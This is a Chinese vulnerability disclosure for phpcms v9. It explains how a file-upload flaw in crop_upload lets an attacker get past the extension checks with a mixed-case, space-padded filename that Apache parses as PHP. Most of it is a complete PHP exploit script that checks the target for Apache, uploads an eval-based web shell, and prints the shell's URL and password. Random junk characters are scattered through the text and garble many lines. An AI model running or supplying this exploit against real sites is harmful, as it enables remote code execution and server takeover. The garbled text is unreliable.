漏洞类型: 文件上传导致任意代码执行
' u6 u& f$ o# u4 u9 x7 g+ N9 }: @/ H6 F' _* }# c4 N
简要描述:. f+ z: k$ H8 k/ s& C
u$ D. Y' Z7 J! |3 h' C% V& {) v. ?phpcms v9 getshell (apache)
( m) S; q9 I) X8 _ U4 G详细说明:, ~; ~3 R2 p$ t6 D' y$ o) s! L
$ z# F: m! f. |漏洞文件:phpcms\modules\attachment\attachments.php+ _+ A( J3 `3 |9 p
% Q; D; X- Y& l. H8 p. e
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } } w& c5 z0 V9 n7 U" A9 M" i6 h5 W
后缀检测:phpcms\modules\attachment\functions\global.func.php! ]" c j3 x3 `) ~
7 [$ Q, b8 e. `2 N, g; e5 C
; G* q1 y& O; f+ q/ A: N8 F' O4 H1 ^0 J1 Z
function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; } ) a! _; S+ ~. [3 h7 k0 b
s& ]& R- d6 ?5 }7 b
关键函数:; G0 I2 ^8 G \! u
$ ]6 t6 v7 N5 ?; ^
/ ?# a! W) d1 h. c! i3 ?# V( L5 [- c- U, @2 ?* U3 u7 b) O* P1 q9 D
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
' f/ s# [9 F7 _( d) L
! w) I, ]+ y4 r* v( p9 i: Z Fileext函数是对文件后缀名的提取。/ C9 k+ \6 M" K. }
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
6 f) U" t3 F* a& i, T% b经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。3 @0 n3 Y' U+ _' ~0 o2 n2 b
我们回到public function crop_upload() 函数中; [; V5 p( q+ B' l
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();' P2 o: `( H( U, A9 y& h
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
( d: z$ q, T) F+ Y* g% r3 Z4 `这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
$ [/ J! K& L! A; y! \& n; d经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。. q1 f/ i+ k+ b" ^- ]
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
0 B$ Z i' d- n0 Y$ }看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
! A; M( G, F& H; B& q漏洞证明:
7 I; g6 e' s0 R0 n# z6 N" u3 \% J% e+ ^5 o& A
exp:% m- t% n/ `* n4 p+ u- `. {7 U' d
6 c# I! X9 a2 h. P<?php8 @* c9 Z4 j4 F' X9 z7 }6 ?
error_reporting(E_ERROR);
, \$ p! E- t1 nset_time_limit(0);: ~& m6 ^; @3 U* b9 C
$pass="ln";
2 ^# x8 H. s, ?/ xprint_r('" a0 q: X" S+ T: Q& H0 `
+---------------------------------------------------------------------------+4 k3 ?( P3 [9 u0 {/ V- ^
PHPCms V9 GETSHELL 0DAY / c6 `$ ?$ t W8 |5 z* G
code by L.N.0 y) _5 ~: S6 Z) r' ]
# h9 j+ e; {; T- |. aapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net( o1 Q i1 X" `- J
+---------------------------------------------------------------------------+
4 Y ^. s8 W( w* q2 Z');) D: ^: w9 z1 @2 W: o+ t
if ($argc < 2) {5 V% n7 l$ J9 Y# M( W* N" {+ R
print_r('
, U2 d, V& Z% q! V+---------------------------------------------------------------------------+# B. A: k0 G9 B; I% V
Usage: php '.$argv[0].' url path3 `+ A+ l5 s# l2 a
0 V0 F3 Z0 Q. x1 F+ R+ }4 \% t! ZExample:
6 s" G3 B% c# c/ Y; E) J1.php '.$argv[0].' lanu.sinaapp.com
; }. u& _: p& E2.php '.$argv[0].' lanu.sinaapp.com /phpcms9 c3 g4 R- a; @3 ~) O2 |& R
+---------------------------------------------------------------------------+
- L9 a5 c! O. k* Z2 N1 |');
+ A; |: k' i7 q* Y3 g9 `, T4 Mexit;
( S: m( H2 `5 u+ J; Y}
h) g1 |: e g0 I: \
$ T) Y. o! T0 a4 b) W8 B$url = $argv[1];
0 e/ E" m8 q2 s5 p) t4 ^$path = $argv[2];+ W# ` o# o* v2 p1 J7 y& X
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
$ {9 X7 p! V4 l5 y+ g6 F2 |5 j$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
) U! G' b) H% O2 g" O1 y8 U6 vif($ret=Create_dir($url,$path))
) u3 h! w$ I5 U% P{) G% m5 g# W7 a5 E# p
//echo $ret;
\; J% E9 ^2 J: G$pattern = "|Server:[^,]+?|U";
3 z7 V& z1 ~. _4 `" S" @' dpreg_match_all($pattern, $ret, $matches);0 U! S3 ^9 h X; b: r8 o! K
if($matches[0][0]): V" J4 v$ b* b: o+ \
{6 c ?( L* _$ j; X; |$ ]
if(strpos($matches[0][0],'Apache') == false)7 k+ G1 K: s3 I- c" A, Q
{
; i O# ~! V/ A `echo "\n亲!此网站不是apache的网站。\n";exit;9 }# c- [# K+ g: N1 D2 j+ A$ |
}
8 Z! [/ s. @4 r) ?+ J* r9 K$ b+ u; _}, v1 Q6 {1 j% s
$ret = GetShell($url,$phpshell,$path,$file);
* \# C) b5 }6 v$pattern = "|http:\/\/[^,]+?\.,?|U";
% E8 O: O& |# W" ^+ M6 npreg_match_all($pattern, $ret, $matches);
7 ?) d7 k4 e; L( X0 Vif($matches[0][0])
. g7 e% }6 t8 E; x, Q{: L$ J4 O* d, @" r# z, B3 ^
echo "\n".'密码为: '.$pass."\n";
# h7 G2 X# v1 F9 Iecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;) ?1 h" y6 X2 U; D
}$ s8 y/ ~/ a2 U% l4 V; J) Q$ E# K
else
! }" b; a& H- I{0 ~% d" o: j( z2 `" q* t4 [
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
! G5 _ B( B; _: p9 P, P9 Wpreg_match_all($pattern, $ret, $matches);
- F: j0 m* p" D d+ j8 l4 }0 x* nif($matches[0][0])- Z- M; i) n5 o
{
: Z5 P( w8 A5 b& y: Jecho "\n".'密码为: '.$pass."\n";
0 s8 n9 |$ U0 c2 T/ ^echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
0 n. h5 e8 T+ S/ U4 X" `2 A% _}) f6 C1 u1 z- Y& ?) m
else
( i: T% x" S) I7 M) J( P{
0 Q! p$ |5 L1 B5 z3 Oecho "\r\n没得到!\n";exit;
' X3 l4 r( }2 z- ^4 a& a}
" G$ D; C/ i7 H) m4 Q8 p0 q6 v( f}
% V! q6 C5 L' f7 ^. e+ m; K}" z$ n1 O' C# m& k$ H" U
" @+ F) C. c3 G f
function GetShell($url,$shell,$path,$js)3 O* Q4 h! g* Z* Z! ]* Y
{% d2 X+ {2 e5 J- c2 H/ A' W
$content =$shell;
! @# I5 S( m/ O$ x8 h* B$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
' z$ F0 v4 ]' ]' b1 F$data .= "Host: ".$url."\r\n";- {7 ]6 j, o" l; ^0 s
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
: [: @# Y- x6 G% q* U0 d$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";5 p% O9 e8 {, d
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n"; c7 ]6 _ @0 u2 t( x
$data .= "Connection: close\r\n";
8 @: N* m8 g* R; C7 I$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
! c, l4 e$ f8 e5 {: U- C$data .= $content."\r\n";- m1 g4 Y" l ~- r% q+ ^0 _5 I
$ock=fsockopen($url,80);1 H, `4 S" C9 Y( P! Z9 D
if (!$ock)
6 }2 f D: U# f9 L* ~{
7 |; ?# ]% C, V$ P1 Z8 Vecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
" L, m& |% o2 K% }}
1 C8 ]4 f% [3 J$ o1 K4 [else
, F6 h7 N2 z% G: G" H1 ~{/ E7 _+ |& h! Z4 ^& E5 x: z
fwrite($ock,$data);5 E; _ m8 [$ W1 y5 }$ L
$resp = '';: a0 |' B% _/ F+ t/ |2 Z9 k9 K
while (!feof($ock))7 _0 l2 Z, ^% |3 `7 E; t2 I
{' ]9 D3 h4 x C
$resp.=fread($ock, 1024);
: T9 U8 b# D" _, K+ J$ ?}1 G1 ^1 J8 L; o* _* N R
return $resp;
( {3 o- y' Q: H, W}! ]. }7 v7 n4 x& p5 G7 T% {$ b
}; T5 E6 x& m; I/ t3 i0 ]: n! ?- E: @
1 s3 M R0 t: F1 d: _
function Create_dir($url,$path='')
" L" U) }8 W7 I{$ R* x* f- L/ d
$content ='I love you';1 R& n- Q5 O; f/ @3 E
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
" b! U1 @6 p) Z$data .= "Host: ".$url."\r\n";, Z1 Q b1 b4 ?
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
0 x; l6 O V) A: Y' v; y7 _- Z8 b$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
4 T$ v# a3 _7 T* H' X; i$ j$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
, O3 R) U* l# u) n, P a$data .= "Connection: close\r\n";8 A% u9 Y+ F; X
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
: ^% W2 s1 w2 J2 D7 A+ ^$data .= $content."\r\n";
! N9 p; P9 x2 P S$ock=fsockopen($url,80);
" g: q! j/ _ c" J A9 C( l' rif (!$ock)9 C& I3 N! {" I% K
{% U# T% c% M+ b7 _" Z$ n, ^6 ^4 y
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
& L3 V F& @8 P! \+ c}9 B# l$ f3 J5 n3 c4 O$ H
fwrite($ock,$data);; Y5 g& j% O0 _% {) g
$resp = '';: B8 V) \. ?; X) g1 _! x
while (!feof($ock))
& S7 M# M* f, ]3 c0 t3 D{
5 ^. k! `0 ^" l$resp.=fread($ock, 1024);1 ^8 G# G* r0 \6 x2 w
}1 F( X% P& f% O3 K
return $resp;3 V7 a, g0 Z5 r( n- u! b% X
}! m( K, Y3 `& E( S
?>
& Q1 J: X/ z- Z. H* p/ K2 m
+ i$ T9 k9 N" u- M修复方案:
& N2 j x1 U6 H( T5 k+ s3 A6 E, ?5 c" Q+ B
过滤过滤再过滤
% m1 Q' m& l: P/ J, z6 N9 M( Q2 V/ `, |+ P& o
|